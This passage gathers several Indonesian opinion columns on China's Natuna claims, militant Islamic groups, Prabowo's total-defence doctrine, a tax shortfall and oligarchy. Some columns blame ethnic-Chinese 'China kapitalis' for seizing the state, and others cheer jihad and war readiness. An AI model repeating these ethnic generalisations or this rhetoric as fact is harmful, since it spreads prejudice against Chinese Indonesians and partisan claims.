Panjaitan, membangun hubungan lebih intensif pada RRC, ketimbang USA. Namun, persekutuan dengan RRC saat ini terbentur dengan dua isu besar di Indonesia, yang akan mengalami tarik menarik sangat kuat dan keras. Isu pertama adalah soal muslim Uighurs. Setengah dunia, sedikitnya, menyatakan bahwa China telah melakukan genocide atau pembantaian etnis kepada bangsa Uighurs di China. Isu krusial kedua adalah soal agresi China yang berambisi menguasai perairan Indonesia di Laut China Selatan(LCS), khususnya laut Natuna. Untuk yang terakhir ini, Cina secara resmi sudah menyatakan melalui kementerian luar negeri RRC bahwa perairan Natuna adalah milik mereka. Pada kedua isu ini, Islam dan militansinya dapat mempunyai kesamaan dengan kepentingan Amerika dan sekutunya. Pada tahun 2002, kelompok-kelompok yang pro kepada ABB mempunyai kesamaan cinta NKRI dengan rezim Jokowi berkuasa saat itu. Namun, rezim sekarang yang cenderung terikat dengan "kebaikan" China, sehingga akan sulit melawan klaim RRC atas tanah air Indonesia tersebut. Kaum Islam Militan Membela tanah air dan membela Islam di seluruh dunia adalah doktrin kelompok-kelompok Islam militan. Terkait dengan isu Uighurs dan LCS, kelompok-kelompok ini tidak punya pilihan lain kecuali mencari sekutu yang sama kepentingannya. Dalam konteks NKRI, TNI sudah menunjukkan gerakan mempertahankan kedaulatan, meskipun Prabowo, Menteri Pertahanan, Luhut Panjaitan, Menko Maritim dan Presiden masih perlu berdiskusi dan berdebat apakah diplomasi atau melawan? TNI, sebagai organ negara, tentu saja pada akhirnya dibatasi oleh politik diplomasi pemerintah. Sehingga gerakan TNI yang awalnya keras merespon, dapat melunak nantinya. Kelompok dunia internasional yang mempunyai kesamaan melawan RRC dalam kasus LCS adalah Amerika, Jepang, Korea Selatan, Singapura, Malaysia, Philippines, Brunei, dan Vientnam. Persengketaan ini sudah dibawa ke PBB (UNclos), dan klaim RRC dinyatakan tidak benar. Klaim sejarah "Nine Dash Line" LCS milik mereka. Tentu saja Amerika dan negara lainnya akan ikut mempengaruhi situasi Indonesia ini. Sejarah keterlibatan kelompok Islam militan dalam perang berskala internasional telah terjadi di masa lalu. Terutama ketika pemuda-pemuda dan pelajar Indonesia direkrut berperang di Afganistan melawan pemerintah boneka Najibullah, yang didukung Uni Sovyet. Kala itu Suharto yang pro Amerika dan Mahathir Mohammad/Anwar Ibrahim, menjadi bagian penting mengirim mereka sebagai milisi. Dalam skala lokal, kelompok-kelompok milisi Islam ini sering juga diajak melawan gerakan separatisme. Jika rezim Jokowi bersandar pada politik diplomasi untuk kasus LCS, maka kelompok-kelompok Islam militan akan muncul dengan subur. Kenapa? Karena pada akhirnya sikap lembek rezim Jokowi terhadap intervensi asing akan menggerus kepercayaan masyarakat pada rezim ini. Dan sebaliknya akan melihat pada kelompok-kelompok Islam militan sebagai penyelamat tanah air. Penutup Untuk kasus Laut China Selatan, di mana pemerintah resmi RRC mengklaim wilayah Natuna sebagai wilayah mereka, telah memanaskan situasi dalam negeri. Rezim Jokowi kelihatannya berupaya dengan cara-cara bersahabat dan diplomasi untuk merespon soal ini. Rakyat Indonesia terlihat tidak begitu senang dengan cara "soft" tersebut, karena rakyat Indonesia sangat sensitif atas isu kedaulatan. Bupati Natuna sudah menyatakan siap membangun milisi rakyat dalam mempertahankan setiap jengkal tanah dan perairan kita di sana. Kenyataan ini membuat umat Islam Indonesia, khususnya kelompok-kelompok militan, tentu sejak awal siap berjihad mempertahankan NKRI, apalagi menghadapi RRC yang dianggap melakukan pembasmian etnis Uighurs yang beragama Islam di sana. Dalam konstalasi politik global, dimana pertarungan antara RRC melawan Amerika dan Barat, serta sekutu-sekutunya di wilayah sekitar LCS, akan membuat kompleksitas dan komplikasi persoalan intervensi RRC ke Indonesia membesar. Karena sejarah telah membuktikan bahwa kepentingan yang terbelah pada masyarakat kita, dapat dimanfaatkan kelompok-kelompok kepentingan internasional untuk bekerjasama. Dan sekali lagi, politik adalah peristiwa tunggang menunggangi. Dan saling memanfaatkan. Untuk membuat koridor politik nasionalisme dan patriotisme yang benar dan terukur, pemerintah dan kekuatan-kekuatan Islam harus duduk bersama, agar kepentingan nasional diletakan di atas kepentingan kelompok. Kecurigaan kelompok-kelompok Islam atas pesanan RRC tentang isu radikalisme, misalnya, harus dikaji ulang untuk membuat suasana polarisasi diantara sesama anak bangsa berkurang. Jika persekutuan Amerika dan kelompok-kelompok Islam militan, yang akan terjadi, di satu sisi, serta persekutuan Jokowi Luhut, Prabowo dengan RRC di sisi lain, akan menjadi besar dalam merespon isu Laut China Selatan, maka Indonesia kemungkinan akan mengalami keterbelahan besar nantinya. Mungkin kita harus berpikir keras, dan berikhtiar untuk menyelamatkan bangsa kita, tanpa perlu "berterima kasih" kepada bangsa lain tentunya. *Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Provokasi China: Prabowo Bisa Terapkan Hankamrata!

Ambisi teritorial China jelas terencana dengan rapi. Mereka tak akan berhenti di Kepulauan Spratly yang berposisi lebih dekat ke Filipina. China mulai mengganggu Kepulauan Natuna milik Indonesia. China mulai provokasi Indonesia! Oleh Mochamad Toha Jakarta, FNN - Sejarah Perang Rakyat 10 November 1945 di Kota Surabaya telah membuktikan pada dunia bahwa pertahanan rakyat adalah jalan terakhir yang ditempuh rakyat Indonesia ketika asing menyerang Indonesia. Tak ada rasa takut pada diri rakyat Indonesia! Konsep Pertahanan Rakyat Semesta (Hankamrata) yang akan melibatkan seluruh komponen bangsa bisa tetap diberlakukan karena telah teruji oleh sejarah, selain memiliki kehandalan dalam melindungi keselamatan segenap bangsa dari setiap ancaman. Hal itu disampaikan Menhan Prabowo Subianto dalam rapat kerja dengan Komisi I DPR RI, Senin (11/11/2019). Prabowo mengatakan, untuk mempertahankan sistem pertahanan tersebut telah sesuai dengan Undang-Undang RI No 34 Tahun 2004. “Pertahanan keamanan rakyat semesta adalah sistem pertahanan yang bersifat semesta, yang melibatkan seluruh warga negara, wilayah, dan sumber daya nasional lainnya, dipersiapkan secara dini oleh pemerintah dan diselenggarakan secara total, terpadu, terarah, dan semua ini untuk melindungi keselamatan segenap bangsa dari setiap ancaman,” katanya. Meski teknologi pertahanan Indonesia saat ini jauh tertinggal dengan negara-negara lain, tapi melalui konsep Hankamrata Indonesia diyakini akan bisa memenangkan sebuah perang. Tak akan ada yang bisa mengalahkan rakyat Indonesia! “Kita mungkin tidak bisa mengalahkan kekuatan teknologi bangsa lain, tetapi pertahanan kita yang berdasarkan pemikiran, konsep pertahanan rakyat, semesta perang kalau terpaksa kita terlibat dalam perang,” tegas Prabowo. “Perang yang akan kita laksanakan adalah perang rakyat semesta. The concept of the total people war,” katanya dalam paparannya di komisi DPR yang menangani soal pertahanan dan keamanan tersebut, seperti dilansir CNNIndonesia.com. Mantan Komandan Jenderal Kopassus itu menyebutkan bahwa konsep pertahanan tersebut sudah terdoktrin oleh masyarakat Indonesia sejak dulu kala. Sehingga dengan konsep ini, perlu dilakukan program “Bela Negara” bagi warga Indonesia. “Itu adalah doktrin Indonesia selama ini. Lahir dari sejarah kita bahwa setiap warga negara berhak dan wajib ikut bela negara,” katanya. Ia mengutarakan, bangsa Indonesia tidak akan diduduki oleh negara lain, apabila seluruh rakyat menjadi komponen pertahanan negara. “Jadi mungkin kita bisa dihancurkan prasarana kita, tapi saya yakin bahwa Indonesia tidak mungkin diduduki bangsa lain karena seluruh rakyat akan menjadi komponen pertahanan negara,” kata Prabowo. Belakangan ini, Indonesia protes kepada China yang menuding kapal ikan Tiongkok sempat memasuki perairan Natuna, Kepulauan Riau, secara ilegal baru-baru ini. Dan, China menolak protes Indonesia tersebut. "China memiliki kedaulatan atas Kepulauan Nansha yang terletak di LCS) dan memiliki hak berdaulat dan yurisdiksi atas perairan dekat dengan Kepulauan Nansha,” kata juru bicara Kementerian Luar Negeri China, Geng Shuang, dalam jumpa pers rutin di Beijing, Selasa (31/12), seperti dikutip dari situs Kementerian Luar Negeri China. Geng menegaskan China juga memiliki hak historis di LCS. Menurutnya, nelayan-nelayan China telah lama melaut dan mencari ikan di perairan itu dan sekitar Kepulauan Nansha, yang menurut Indonesia masih merupakan zona ekonomi eksklusif (ZEE) Indonesia. Padahal, klaim China atas perairan yang menjadi jalur utama perdagangan internasional itu juga tumpang tindih dengan sejumlah negara di Asia Tenggara seperti Filipina, Vietnam, Malaysia, dan Brunei. Geng juga berdalih, kapal yang berlayar di kawasan itu baru-baru ini adalah kapal penjaga pantai China yang melakukan patroli rutin. “Patroli rutin untuk menjaga ketertiban laut dan melindungi hak-hak dan kepentingan rakyat kami yang sah di perairan terkait,” kata Geng. Akibat insiden itu, Kemlu RI telah melayangkan protes kepada China dengan memanggil duta besarnya di Jakarta pada awal pekan ini. Melalui pernyataannya pada Rabu (1/1), Kemlu RI menolak “klaim unilateral” China tersebut. “Klaim historis China atas ZEE Indonesia dengan alasan bahwa para nelayan China telah lama beraktivitas di perairan dimaksud bersifat unilateral, tidak memiliki dasar hukum dan tidak pernah diakui oleh UNCLOS 1982,” kata Kemlu RI. “Argumen ini telah dibahas dan dimentahkan oleh Keputusan SCS Tribunal 2016,” tegas Kemlu RI. “Argumen ini telah dibahas dan dimentahkan oleh Keputusan SCS Tribunal 2016. Indonesia juga menolak istilah 'relevant waters' yang diklaim oleh RRT karena istilah ini tidak dikenal dan tidak sesuai dengan UNCLOS 1982,” tegas Kemlu RI. Meski berbatasan langsung dengan LCS, Indonesia tidak memiliki sengketa wilayah dengan China di perairan tersebut. Namun, Indonesia merupakan salah satu negara yang mendukung kode etik LCS segera diterapkan. Kode etik itu dibentuk sebagai pedoman negara-negara bertindak di perairan kaya sumber daya alam tersebut demi mencegah konflik. Provokasi China Ambisi teritorial China jelas terencana dengan rapi. Mereka tak akan berhenti di Kepulauan Spratly yang berposisi lebih dekat ke Filipina. China mulai mengganggu Kepulauan Natuna milik Indonesia. China mulai provokasi Indonesia! Tercatat, pada 10 Desember 2019, Coast Guard China muncul di perbatasan laut di perairan bagian utara Natuna. Kapal itu dihadang oleh kapal Bakamla Indonesia. Karena dihalau, tak jadi menerobos ke dalam perairan Indonesia. Pada 23 Desember 2019, dua Coast Guard China masuk lagi. Kali ini, kedua kapal bersenjata itu mengawal sejumlah kapal penangkap ikan China yang sedang melakukan pencurian ikan di perairan ZEE Indonesia di utara Natuna. ZEE Indonesia itu diakui PBB. Kali ini China unjuk kekuatan. Dua kapal penjaga pantai yang bersenjata itu dibekingin oleh satu kapal frigat (kapal perang) dari kejauhan. Artinya, angkatan laut China siap melakukan tindak kekerasan. Kapal Bakamla KM Tanjung Datuk 301 mencoba mengusir kapal-kapal China itu. Mereka menolak dengan alasan, berada di wilayah laut China. Pejabat senior Bakamla, Nursyawal Embun, mengatakan pihak China pasti tahu bahwa mereka berada di ZEE Indonesia. Sebab, cukup jauh jaraknya dari wilayah laut yang dikuasai RRC. Pada 30 Desember 2019, Kemenlu RI melancarkan protes ke China. Tapi, hari berikutnya, 31 Desember 2019, kapal-kapal China masuk lagi ke perairan utara Natuna. Kemenlu kemudian memanggil Dubes China di Jakarta. Protes keras disampaikan. Wartawan Senior Asyari Usman mencatat, modus ekspansi laut China sangat jelas. Mereka kirim dulu kapal-kapal nelayan ke perairan Natuna. Kapal perang melakukan pengawalan. Ini membuat Bakamla akan berhati-hati bertindak tegas. Sebab, di belakang kapal-kapal nelayan itu ada kapal perang China yang stand-by. Bakamla tentu bisa meminta bantuan ALRI. Tapi, kekuatan AL China pastilah jauh lebih besar dan lebih tangguh. Dan, kalau sampai kapal perang Indonesia terpancing menggunakan kekerasan, itu akan dijadikan alasan oleh China untuk mengerahkan armada AL mereka lebih banyak lagi ke perairan ZEE Indonesia. Di sini perlu ketegasan Preside Joko Widodo atas klaim China di laut Natuna itu, seperti yang pernah diucapkannya saat Debat Pilpres 2014, “Kita bikin rame!” Inilah saatnya Menhan bisa terapkan Konsep Hankamrata! Saya yakin, rakyat Indonesia tidak akan pernah takut jika harus berkonflik (baca: perang) dengan negara asing! Penulis adalah wartawan senior

Shortfall Penerimaan Perpajakan

Saya berani mengatakan dengan pertumbuhan ekonomi yang tidak bisa melebihi 5,5%, maka situasi shortfall ini akan menjadi makanan tahunan APBN kita. Shortfall akan persisten dan iminen. Karenanya, target pajak yang ekspansif dan optimis menjadi tidak rasional dan realistis. By Andi Rahmat Jakarta, FNN - Pencapaian penerimaan perpajakan hingga akhir tahun 2019 mencatatkan pencapaian historik. Shortfall 19% dari target APBN Rp 1.577 triliun, atau secara absolut berkisar Rp 200 triliun. Meskipun demikian, saya tidak sedang membicarakan soal konsekuensi hutang ini. Tetapi diskusinya adalah menelisik soal atau sebab-musabah, dan pembacaan terhadap kinerja ekonomi. Cerita Shortfall ini bukan barang baru dalam catatan penerimaan perpajakan kita. Setidaknya sejak tahun 2017 hingga 2019, shortfall absolut penerimaan perpajakan selalu melampui angka Rp 100 triliun. Bahkan berturut-turut di tahun 2017 shortfallnya Rp 130 triliun, dan pada tahun 2018 Rp 108 triliun. Konsekuensinya, target defisit APBN selalu mengalami overshoot. Atau dengan kata lain terjadi penambahan hutang di luar perkiraan pembuat kebijakan fiskal. Yang utama dalam tulisan ini adalah soal simpulan terhadap pelambatan kinerja ekonomi kita. Supaya lebih netral dari segi istilah, ada bagusnya menggunakan istilah International Monetary Fund (IMF), sluggisnya kondisi perekonomian kita. Dua istilah itu, sama-sama tercermin dalam pencapaian pertumbuhan Pruduk Demontik Bruto (PDB) kita yang bergerak dibawah 5,2 % dalam emat tahun terakhir. Memang ada satu model perkiraan penerimaan perpajakan yang selama ini diterapkan oleh pembuat kebijakan ekonomi, baik di DPR maupun di Kementerian Keuangan. Tampaknya kebijakan dibuat selalu overestimate terhadap target penerimaan perpajakan. Yang sebagiannya disumbangkan oleh simplifikasi terhadap simpulan posisi tax ratio ketimbang menelisik kinerja sektor ekonomi. Dari sisi fundamental APBN, shortfall atau target yang besar itu memang masih bisa dimitigasi resikonya. Bahkan dengan pendekatan mitigatif yang ekspansif sekalipun. Sebab, harus diakui, sejak periode SBY hingga Jokowi, penguatan fondasi struktural APBN kita memang cukup solid. Namun, shortfall perpajakan tetap merupakan suatu masalah serius yang mesti dilihat secara seksama. Kinerja penerimaan yang serial seperti itu menyalakan lampu kuning bagi kita semua. Khususnya para pembuat kebijakan di bidang ekonomi. Shortfall yang menunjukkan dua hal sekaligus. Fatiguenya fiskus dalam menyasar para objek pajak. Sementara kelelahan yang sama, juga dialami oleh objek pajak dan wajib pajak. Di level fiskus, kelelahan ini muncul karena sumber daya fiskus yang semakin ketinggalan. Perangkat administratif yang sudah mulai kadaluarsa. Selain itu, fondasi regulasi yang semakin tidak sesuai lagi dengan perkembangan objek pajak atau potensi objek pajak. Sumber daya yang dimiliki fiskus, terutama yang berkaitan dengan sumber daya manusianya, memang sudah waktunya diperkuat. Dari segi kuantitas, pertumbuhan SDM fiskus dalam sepuluh tahun terakhir sangat jauh dari ratio yang paling konservatif sekalipun. Rationya yang normal adalah 1 : 1.590 terhadap populasi dan 1 : 936 terhadap wajib pajak. Demikian juga dengan kualitas. Perkembangan sektor-sektor baru perekonomian yang justru sedang mengalami booming. Untuk itu, sopistikasi praktek ekonominya, juga membutuhkan kualitas SDM fiskus yang sebanding. Perangkat administratif perpajakan juga mengalami hal yang sama. Administrasi perpajakan masih menyulitkan fiskus dalam berinteraksi dengan perkembangan objek pajak. Ringkasnya, selain kantor atau tempat layanan perpajakan yang belum memadai, juga insentif administratif terhadap kinerja fiskus yang tidak sebanding dengan besarnya effort yang dibutuhkan. Dari sisi regulasi, sudah dua belas tahun lebih, dan terakhir kali kita melakukan overhaul menyeluruh terhadap regulasi perpajakan. Memang ada produk minor regulasi sektor perpajakan. Tetapi sifatnya lebih sektoral dan terbatas. Kebutuhan overhaul menyeluruh adalah kebutuhan yang pasti seiring dengan perkembangan sektor- sektor perekonomian. Sementara kelelahan yang dialami oleh objek pajak dan juga wajib pajak disumbangkan oleh sluggishnya perekonomian. Lapisan tarif yang juga tidak lagi kompetitif. Selain itu, perlu intensifikasi basis pajak dan untaxable objek pajak. Saya berani mengatakan dengan pertumbuhan ekonomi yang tidak bisa melebihi 5,5% saja, maka situasi shortfall ini akan menjadi makanan tahunan APBN kita. Shortfall akan persisten dan iminen. Karenanya, target pajak yang ekspansif dan optimis menjadi tidak rasional dan realistis. Dalam soal tarif, sudah jamak dimahfumi bahwa tariff bracket perpajakan kita sudah menjadi disinsentif bagi perekonomian kita sejak 12 tahun lalu. Terutama sewaktu kita melakukan overhaul, penetapan tarif itu, lebih mempertimbangkan dampaknya terhadap postur penerimaan negara dan rendahnya tingkat kepatuhan perpajakan Wajib Pajak (WP) kala itu. Ketika itu, besar tarif tidak seelastis dibanding sekarang terhadap kinerja ekonomi. Karenanya di tahun-tahun awal penerapan tarif perpajakan pasca overhaul, selain kinerja ekonomi yang positif, eksetensifikasi dan intensifikasi pajak tidak negatif terhadap kinerja perekonomian. Sedangkan intensifikasi basis pajak juga demikian. Fenomena yang terjadi pasca kebijakan Tax Amnesty adalah over regulasi pada basis pajak yang sama. Ekspansi berbau draconian terhadap wajib pajak, karena perburuan target yang irasional, menyasar hingga sektor sensitif seperti sektor keuangan dan perbankan. Objek pajak mengalami distress dan wajib pajak mengalami disinsentif yang jamak sekali dalam percakapan harian. Terakhir, masalah untaxable objek pajak. Terutama karena masalah ini terjadi pada sektor-sektor baru. Khususnya yang berbasis ekonomi digital. Selain itu, inversi perpajakan yang belum memadai antisipasinya dari sisi regulasi. Sebagai penutup. Saya hanya ingin menegaskan tentang perlunya kita sama-sama melihat ketimpangan ekonomi yang makin melebar. Kondisi ini disertai dengan pelemahan pertumbuhan kualitas kelas menengah yang taxable. Wallahu ‘alam. Penulis adalah Pelaku Bisnis dan Mantan Wakil Ketua Komisi XI DPR RI

Matinya Keadilan Sosial, Catatan Awal Tahun

By Dr. Syahganda Nainggolan Jakarta, FNN - Keluhan Said Aqil Siradj (SAS) beberapa hari lalu tentang matinya keadilan sosial, disampaikan beliau pada acara haul leluhurnya di Cerebon, dihadapan puluhan ribu massa kaum Nahdatul Ulama (NU). SAS memperkuat keluhan yang sama yang beberapa tahun belakangan ini disampaikan Habib Rizieq Sihab. Keduanya mewakili mayoritas ummat Islam di Indonesia, yang artinya juga mewakili mayoritas rakyat Indonesia. Dalam pidatonya tersebut, SAS menyampaikan bahwa oligarki (kapitalis) mengambil hampir semua kesempatan ekonomi di tanah air. Mereka oligarki kapitalis tidak menyisakan rakyat kebanyakan, kecuali sebagai penonton dan "kuda tunggangan" dalam peraihan kekuasaan. Habibi Rizieq, berbeda dengan SAS. Habib Rizieq langsung mengarahkan istilah oligarki pemilik modal ini dengan sebutan “Sembilan Naga”. Atau menurut Christian Chua, sebagai China kapitalis. Karena faktanya oligarki modal di Indonesia tidaklah berbeda dengan Cina kapitalis tersebut. Apa yang disampaikan SAS ini telah diteliti Professor Amy Chua, Yale University, dalam "World on Fire", 2003, yang menyebutkan demokratisasi dan free market ekonomi yang masuk ke negara-negara seperti Indonesia. Dimana etnik minoritis menguasai ekonomi, membuat jurang ketimpangan semakin dalam. Chua meneliti puluhan negara, di Asia, Afrika dan Amerika Latin. Christian Chua, dalam "Chinese Big Business in Indonesia: The State of Capital", 2006. Sebuah disertasi, bukan hanya sejalan dengan temuan Amy Chua. Bahkan saat ini China kapitalis, bukan saja menguasai ekonomi, namun paska reformasi mereka telah menguasai negara. Christian Chua menggambarkan transisi Cina kapitalis dari masa "Bureaucratic capitalism" di era orde baru. Lalu masa "Oligarchic Capitalism" sekitar tahun 80-an sampai 1998, dan masa selanjutnya "Plutocratic Capitalism". Dimana kekuatan Cina kapitalis yang awalnya berlindung pada politico-bureaucrat, akhirnya saat ini memiliki kekuatan lebih unggul. Dalam demokrasi, awalnya para kapitalis shock karena harus terlalu banyak menawarkan konsesi kepada pusat kekuasaan yang menyebar. Namun, sejalan dengan demokrasi yang bersandar pada politik uang, maka sandaran politik kekuasaan kembali kepangkuan para kapitalis. Plutocrary artinya "the rule of wealth". Dalam politik, "plutocratic capitalism" maksudnya negara yang dikendalikan orang-orang kaya. Kadangkala istilah lain yang mirip adalah "Corporatocracy", untuk menunjukkan korporasi besar yang nengendalikan negara. Bukan individual-individual pengusaha. Kecepatan dan percepatan akumulasi asset para kapitalis ini, diteliti oleh Jeffrey Winter (2013) dan Arif Budimanta ( 2017). Menurut Budimanta, pada tahun 2016, Material Power Index (MPI) dari 40 orang terkaya di sini mencapai 548.000. Sedangkan di Singapore 46.000 dan Malaysia 152.000. MPI ini ukuran kekayaan para kapitalis dibandingkan rata-rata pendapatan penduduk (GDP perkapita). Menurut Jeffrey kesenjangan kekayaan kaum oligarki ini dengan rata-rata rakyat, di Indonesia, merupakan yang terburuk di dunia. Sebagai catatan tambahan, Oxfam, sebauh NGO Inggris, merilis riset 4 orang terkaya di Indonesia memiliki kekayaan setara dengan 100 juta penduduk termiskin (2017). Pada tahun 2019, LPS mencatat 0,2% pemilik rekening di bank, menguasai 63,8% total simpanan bank. Professor Amy Chua berbeda dengan Christian Chua dalam melihat persoalan ketimpangan di Indonesia ini. Amy Chua melihat unsur etnisitas dalam pendekatannya, sebaliknya Christian Chua melihatnya dalam pendekatan struktural. Pendekatan Christian yang struktural lebih melihat peranan modal dalam hirarki kekuasaan. Bagi Christian Chua, dalam sistem Kapitalisme, siapa yang mengontrol modal maka dialah yang mengendalikan negara tersebut. Dan negara adalah alat para kapitalis untuk menggandakan keinginan mereka. Mengendalikan bisa langsung maupun bisa dengan menunjuk "manajer" untuk mengelola negara itu untuk sesuatu yang sudah diatur kaum kapitalis. SBY dan Arab Springs Pada pidato akhir tahunnya, mantan Presiden SBY, mengingatkan Jokowi untuk berhati2 akibat situasi ekonomi memburuk. SBY mencatat bahwa jumlah pengangguran dan setengah pengangguran, atau bekerja "part time" berada pada kisaran 36, 5 juta jiwa. Angka ini sangat besar. Sementara kemampuan pemerintah menurunkan jumlah pengangguran hanya 1% dalam 5 tahun. "Arab Springs" atau gejolak sosial (social unrest) seperti yang terjadi di negara2 Arab, beberapa tahun lalu, dipicu oleh kenaikan harga2 ketika pengangguran tinggi. Saat ini pemerintah menaikkan iuran BPJS dan segera menaikkan tarif listrik dll. Dan menurut SBY ini bisa memicu gejolak sosial tersebut. SBY, menurut data pertumbuhan di halaman World Bank. org, adalah satu-satunya presiden Indonesia yang spektakuler menaikkan GDP di atas 200 billon dollar pada tahun 2010. Rata-rata kenaikan tertinggi, misalnya saat ini, hanya sebesar 70 billion dollar saja setahun. World Bank sendiri mencatat SBY sendiri telah berhasil menurunkan jumlah populasi berpendapatan rendah (per capita expenditure per day < or = $ 2) dari 62,2% (2003) menjadi 43,3 (2010). Sedangkan "middle income" ($2-$10) jumlahnya naik dari 37,7% (2003) menjadi 56 5% (2010). Dengan reputasi di atas, tentu saja SBY dan kritikannya menjadi penting bagi kita melihat bahaya yang mengancam selama ini dan tahun depan. Sebuah gejolak sosial tentu selalu merupakan resultante gejolak politik dan ekonomi. Gejolak politik umumnya bukan terletak pada ukuran kestabilan elit, melainkan pada frustasi sosial yang parah. Frustasi sosial ini bersumber pada kebencian massa rakyat pada sebuah rezim (seperti kasus awal Arab Springs di Tunisia). Sedangkan gejolak ekonomi terjadi manakala pertumbuhan ekonomi memburuk dan kehidupan ekonomi semakin sulit. Apakah SBY melihat ini begitu dekat? Korupsi dan Hedonisme Skandal korupsi Jiwasraya yang diduga merugikan perusahaan negara puluhan triliun rupiah menjadi simbol kebusukan elit kekuasaan saat ini. Pada saat reformasi di mulai 20-an tahun lalu, pemerintahan bersih dan "peti mati" merupakan simbol penting yang utama. Saat ini, korupsi kelihatannya menjadi fenomena biasa dari orang-orang yang berkuasa. Korupsi Jiwasraya ini mengapa menjadi penting dibincangkan? Karena unsur kesengajaan dalam merugikan perusahaan negara tersebut nampak nyata. Menariknya lagi, pembobol Jiwasraya ini, salah satunya, mempunyai kedudukan penting sebagai bagian dari organ di kantor Kepala Staf Presiden Republik Indonesia. Pada saat ini rakyat tidak terlalu percaya lagi dengan agenda pemberantasan korupsi. Khususnya setelah presiden dianggap ikut melumpuhkan KPK, di mana DPR yang didominasi rezim, melakukan perubahan UU KPK. Sementara di waktu lainnya, presiden memberi Grasi pada terhukum koruptor, eks Gubernur Riau, beberapa waktu lalu. Perkembangan pesat korupsi saat ini diikuti dengan berkembangnya prilaku hedonis dikalangan elit kekuasaan. Skandal direksi Garuda dalam dimensi barang luxurious, seperti Harley Davidson dan Brompton dan dimensi sex, merupakan bentuk hedonis kaum elit kita. Tentu saja lomba pamer elit ini terjadi dibanyak elit lembaga negara, meski presidennya pada kampanye selalu dikatagorikan merakyat. Kecenderungan perilaku korupsi dan hedon kelihatannya berbanding lurus dengan penguasaan negara oleh kalangan orang-rang kaya. Lembaga DPR-RI yang dipimpin oleh orang-orang yang memiliki kekayaan ratusan miliyar, menteri-menteri yang super kaya, dan lain-lain, menjadikan suasana "gemerlapan" di elit lebih mewakili kemiripan dengan elit-elit Francis dahulu ketika dikendalikan raja dan para Baron. Tantangan ke Depan Suara Said Aqil Sirodj dan Habib Rizieq Sihab, apalagi ditambah suara SBY sudah menunjukkan buruknya situasi kita saat ini. Situasi itu meliputi, apa tujuan bernegarakita? Dan apakah ada jalan baik di depan? Tujuan bernegara adalah menghadirkan Keadilan Sosial kepada seluruh rakyat, apakah mau di NKRI harga mati maupun di NKRI harga "bargain". Negara dalam bingkai kapitalisme, seperti pidato Ketum Nasdem, Surya Paloh, beberapa bulan lalu di Universitas Indonesia? Jika kapitalisme mendominasi tata kelola bernegara dan sistem ekonomi, maka pasti akan membuat yang kaya semakin kaya. Yang miskin juga semakin terpinggirkan. Negara tidak mempunyai makna sama sekali apabila grafik pemerataan tidak membaik dari waktu ke waktu. Apabila SBY, misalnya, pernah menunjukkan perubahan signifikan dari grafik pemerataan, perlu diteliti lebih lanjut, sejauh apa "cost" yang dibayarkan untuk itu? Jika "cost" nya terlalu besar, maka kita harus mencari alternatif berbelok dari jalan kapitalisme yang kita lalui. Untuk mengganti jalan kapitalisme ini, baik ala barat maupun pro Beijing, maka diperlukan jalan revolusioner. Karena kita harus menghancurkan struktur yang dikuasai oligarki saat ini. Christina Chua mengatakan "a removal of this oligarchy from power would require a new system, which, however, can only be realised if the general hierarchies of power turned upside down, as it only happens through revolutions". Perubahan ketimpangan ekonomi di barat, dalam Thomas Pikkety on Capital, yang ditelitinya sepanjang 1810-2010, salam 200 tahun, ada benturan ideologi dan perang dunia di eropa, yang mampu menggeser ketimpangan dari Gini Rasio 0,7 menjadi sekitar Gini Rasio 0,3 selama 200 tahun itu. Dimana ada jalan damai dalam menciptakan keadilan sosial (Shared Prosperity)? Untuk urusan ini, maka Said Aqil dan Habib Rizieq harus memulai membicarakan serius langkah-langkah strategis pada isu-isu keadila sosial tersebut. Tentu juga semua tokoh-tokoh nasionalis. Penutup Akhir tahun 2019 kita tandai dengan duka. Pernyataan ketua umum NU tentang oligarki menguasai Indonesia, adalah situasi memalukan dari bangsa yang lahir melalui revolusi sosial. Faktanya, saat ini, cukong-cukong bukan lagi bekerja diam, secara politik, seperti di masa orde baru. Sekarang mereka tampil memimpin negara. Itu adalah keniscayaan demokrasi. Problemnya adalah kekuatan elit rakyat seperti elit NU, yang dipimpin Said Aqil, kurang mendapat kepercayaan, apakah mereka akan benar-benar melakukan perhitungan ulang dalam membenahi arah bangsa ke depan, ataukah hanya sekedar memanas-manasi situasi sosial, yang bertujuan jangka pendek. Meskipun motif Said Aqil bisa kita kesampingkan, namun persoalan yang mempunyai fakta, seperti ketimpangan sosial dan kekuasaan oligarki, Cina kapitalis, harus ditata dalam sistem ketatanegaraan yang menjamin keadilan sosial ke depan. Misalnya, ketika Said Aqil menyinggung adanya kapitalis yang memiliki 5 juta hektar tanah di Indonesia. Lalu bagaimana cara untuk membatasinya? Namun, sekali lagi, tentu saja rakyat harus terus bergerak mencari solusi, agar keadilan sosial menemukan jalannya di Indonesia. #Selamattahunbaru2020 Penulis adalah Direktur Eksekutif Sabang-Merauke Circle

China Mulai Ajak Ribut di Natuna

By Asyari Usman Jakarta, FNN - Terbukti. Ambisi teritorial RRC komunis terencana dengan rapi. Mereka tak akan berhenti di Kepulauan Spratly yang berposisi lebih dekat ke Filipina. China mulai mengganggu Kepulauan Natuna milik Indonesia. Mulai ajak ribut Indonesia. Pada tanggal 10 Desember 2019, kapal penjaga pantai (coast guard) RRC muncul di perbatasan laut di perairan bagian utara Natuna. Kapal itu dihadang oleh kapal Badan Keamanan Laut (Bakamla) Indonesia. Kapal China itu dihalau, tak jadi menerobos ke dalam perairan Indonesia. Pada 23 Desember 2019, dua kapal penjaga pantai RRC masuk lagi. Kali ini, kedua kapal bersenjata itu mengawal sejumlah kapal penangkap ikan China yang sedang melakukan pencurian ikan di perairan Zona Ekonomi Eksklusif Indonesia (ZEEI) di utara Natuna. ZEEI itu diakui oleh PBB. China unjuk kekuatan dalam insiden kedua ini. Dua kapal penjaga pantai yang bersenjata itu dibeking oleh satu kapal frigat (kapal perang) dari kejauhan. Ini artinya, angkatan laut China siap melakukan tindak kekerasan. Kapal Bakamla KM Tanjung Datuk 301 mencoba mengusir kapal-kapal China itu. Mereka menolak dengan alasan bahwa mereka berada di wilayah laut RRC. Pejabat senior Bakamla, Nursyawal Embun, mengatakan pihak China pasti tahu bahwa mereka berada di ZEEI. Sebab, cukup jauh jaraknya dari wilayah laut yang dikuasai RRC. Pada 30 Desember 2019, Kemenlu melancarkan protes ke China. Tapi, hari berikutnya, 31 Desember 2019, kapal-kapal China masuk lagi ke perairan utara Natuna. Kemenlu memanggil Dubes China di Jakarta. Protes keras disampaikan. Sekarang, Anda mendapatkan gambaran tentang RRC yang mulai cari pasal di Kepulauan Natuna. Anda juga 